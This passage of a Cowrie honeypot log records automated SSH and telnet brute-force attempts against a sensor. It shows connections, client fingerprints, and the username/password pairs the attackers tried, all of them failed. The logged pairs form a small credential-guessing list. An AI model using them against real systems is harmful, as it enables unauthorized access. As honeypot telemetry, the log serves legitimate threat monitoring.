{"eventid":"cowrie.login.failed","username":"ansible","password":"1234.com","message":"login attempt [ansible/1234.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:06.536278Z","src_ip":"159.203.92.129","session":"f296dee277be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2025","message":"login attempt [git/git@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:06.627260Z","src_ip":"202.184.144.220","session":"1f48a735299a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:07.541664Z","src_ip":"159.203.92.129","session":"f296dee277be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":43628,"dst_ip":"10.17.0.5","dst_port":22,"session":"bee16fb8ba55","protocol":"ssh","message":"New connection: 103.176.20.115:43628 (10.17.0.5:22) [session: bee16fb8ba55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:07.558329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:07.562690Z","src_ip":"103.176.20.115","session":"bee16fb8ba55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:07.816411Z","src_ip":"103.176.20.115","session":"bee16fb8ba55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:07.865821Z","src_ip":"202.184.144.220","session":"1f48a735299a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mc123456","message":"login attempt [root/Mc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:08.855207Z","src_ip":"103.176.20.115","session":"bee16fb8ba55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:10.109973Z","src_ip":"103.176.20.115","session":"bee16fb8ba55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47530,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3eaba9e3dd0","protocol":"ssh","message":"New connection: 176.65.139.103:47530 (10.17.0.5:22) [session: f3eaba9e3dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:10.147454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:10.151967Z","src_ip":"176.65.139.103","session":"f3eaba9e3dd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:10.237103Z","src_ip":"176.65.139.103","session":"f3eaba9e3dd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:10.511068Z","src_ip":"176.65.139.103","session":"f3eaba9e3dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:11.783125Z","src_ip":"176.65.139.103","session":"f3eaba9e3dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00120258331299,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:15.741508Z","src_ip":"177.54.170.240","session":"b1e918bb05cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44840,"dst_ip":"10.17.0.5","dst_port":22,"session":"16ad595f0fcb","protocol":"ssh","message":"New connection: 176.65.139.103:44840 (10.17.0.5:22) [session: 16ad595f0fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:17.019978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:17.023991Z","src_ip":"176.65.139.103","session":"16ad595f0fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:17.106685Z","src_ip":"176.65.139.103","session":"16ad595f0fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:17.354353Z","src_ip":"176.65.139.103","session":"16ad595f0fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:18.476773Z","src_ip":"176.65.139.103","session":"16ad595f0fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00121760368347,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:21.575181Z","src_ip":"177.54.170.240","session":"91785fa3e218","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.170.240","src_port":54778,"dst_ip":"10.17.0.5","dst_port":23,"session":"1adc10dd9e61","protocol":"telnet","message":"New connection: 177.54.170.240:54778 (10.17.0.5:23) [session: 1adc10dd9e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:21.878288Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40400,"dst_ip":"10.17.0.5","dst_port":22,"session":"09e8ea5fcff7","protocol":"ssh","message":"New connection: 176.65.139.103:40400 (10.17.0.5:22) [session: 09e8ea5fcff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:23.546518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:23.550820Z","src_ip":"176.65.139.103","session":"09e8ea5fcff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:23.654326Z","src_ip":"176.65.139.103","session":"09e8ea5fcff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:23.915393Z","src_ip":"176.65.139.103","session":"09e8ea5fcff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.156.51.106","src_port":58998,"dst_ip":"159.203.135.109","dst_port":23,"session":"39e3d29a83cb","protocol":"telnet","message":"New connection: 104.156.51.106:58998 (159.203.135.109:23) [session: 39e3d29a83cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:24.593660Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:25.014092Z","src_ip":"176.65.139.103","session":"09e8ea5fcff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40404,"dst_ip":"10.17.0.5","dst_port":22,"session":"f114949ccf2e","protocol":"ssh","message":"New connection: 176.65.139.103:40404 (10.17.0.5:22) [session: f114949ccf2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:30.931677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:30.936229Z","src_ip":"176.65.139.103","session":"f114949ccf2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:31.022098Z","src_ip":"176.65.139.103","session":"f114949ccf2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:31.283024Z","src_ip":"176.65.139.103","session":"f114949ccf2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:32.447941Z","src_ip":"176.65.139.103","session":"f114949ccf2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59996,"dst_ip":"10.17.0.5","dst_port":22,"session":"954c28d7c19b","protocol":"ssh","message":"New connection: 176.65.139.103:59996 (10.17.0.5:22) [session: 954c28d7c19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:37.667049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:37.733585Z","src_ip":"176.65.139.103","session":"954c28d7c19b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:37.801708Z","src_ip":"176.65.139.103","session":"954c28d7c19b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:38.150282Z","src_ip":"176.65.139.103","session":"954c28d7c19b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":61667,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a6234e60cce","protocol":"ssh","message":"New connection: 52.231.220.210:61667 (10.17.0.5:22) [session: 1a6234e60cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:38.401207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:38.406810Z","src_ip":"52.231.220.210","session":"1a6234e60cce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:38.588821Z","src_ip":"52.231.220.210","session":"1a6234e60cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:39.239472Z","src_ip":"176.65.139.103","session":"954c28d7c19b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"ftp_user","message":"login attempt [ftp_user/ftp_user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:39.349132Z","src_ip":"52.231.220.210","session":"1a6234e60cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:40.536930Z","src_ip":"52.231.220.210","session":"1a6234e60cce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53618,"dst_ip":"10.17.0.5","dst_port":22,"session":"e30b93c41203","protocol":"ssh","message":"New connection: 176.65.139.103:53618 (10.17.0.5:22) [session: e30b93c41203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:44.537246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:44.542481Z","src_ip":"176.65.139.103","session":"e30b93c41203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","h